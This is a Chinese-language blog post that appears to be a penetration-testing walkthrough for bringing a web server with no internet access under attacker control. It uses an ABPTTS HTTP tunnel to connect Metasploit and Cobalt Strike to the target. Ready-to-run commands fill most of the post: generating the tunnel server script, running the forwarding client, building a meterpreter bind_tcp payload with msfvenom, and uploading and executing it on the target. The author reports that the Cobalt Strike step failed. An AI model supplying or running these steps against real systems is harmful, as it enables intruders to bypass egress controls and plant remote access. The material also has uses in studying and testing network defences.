一、实战环境简述:
实战中经常会遇到目标主机不出网的情况,如果目标机器开放了web服务,可以通过构造正向http隧道进行上线,如果机器处于内网环境,可通过一台可出网的跳板机将其带出去,这只是个人的小想法...
本次实验环境:
目标机器是web服务器,icmp、udp等协议都不能出网,唯一突破口就是可通过80端口,搭建正向的http隧道,可利用工具有Tunna、reDuh、ABPTTS等等,但是前两个貌似不太稳定,所以本次将使用ABPTTS进行实验(很大原因是因为没用过hahaha...),但是可惜的是,ABPTTS只支持aspx和jsp。
二、构建http隧道-->上线:
1、配置abptts:
①安装依赖
pip2 install httplib2pip2 install pycrypto
②运行脚本生成服务端脚本
python2 abpttsfactory.py -o server
会在当前目录下生成server的文件夹,脚本在里面
2、启动http隧道:
①上传server脚本到目标机器
②vps启动客户端连接
python2 abpttsclient.py -c server/config.txt -u "http://192.168.1.80/abptts.aspx" -f 127.0.0.1:7777(攻击者vps7777)/127.0.0.1:8888(这里是目标主机的8888)
将目标本地8888端口流量转发到abptts客户端本地7777端口上
3、上线MSF:
①生成bind的payload
msfvenom -p windows/meterpreter/bind_tcp rhost=127.0.0.1(监听目标本地) lport=8888 -f exe -o http.exe
msf开启监听abptts客户端程序所在机器的7777端口即可,我这里msf和abptts在同一台机器,所以设置为127.0.0.1,如果不在同一台机器,只需要设置为abptts客户端的ip即可
②把payload上传到目标主机执行
成功通过http隧道上线不出网主机
此时的流量走向:abptts客户端本地7777--->目标机器本地8888
4、上线cobalt strike:
因为CS的bind类型的Listener有TCP beaconr和SMB beacon,都必须连接到已有的beacon,所以我们需要已有的beacon进行中转连接
①上线本机
②生成bind类型的linstener
生成木马,然后上传到目标执行
利用父beacon执行连接,这里的192.168.1.2是abptts客户端程序所在机器的ip
此时的流量走向:abptts客户端本地7777--->目标机器本地8888
执行成功会返回目标beacon,但是我这里没成功,大体的过程就是这样,可能是我哪里出错了(感觉可能是我的环境问题)....希望有师傅可以指出,本文只是抛砖引玉,利用其他工具也可以完成,实验过程中大大小小的问题也不少....还是要多动手,不能光眼睛会,下次见!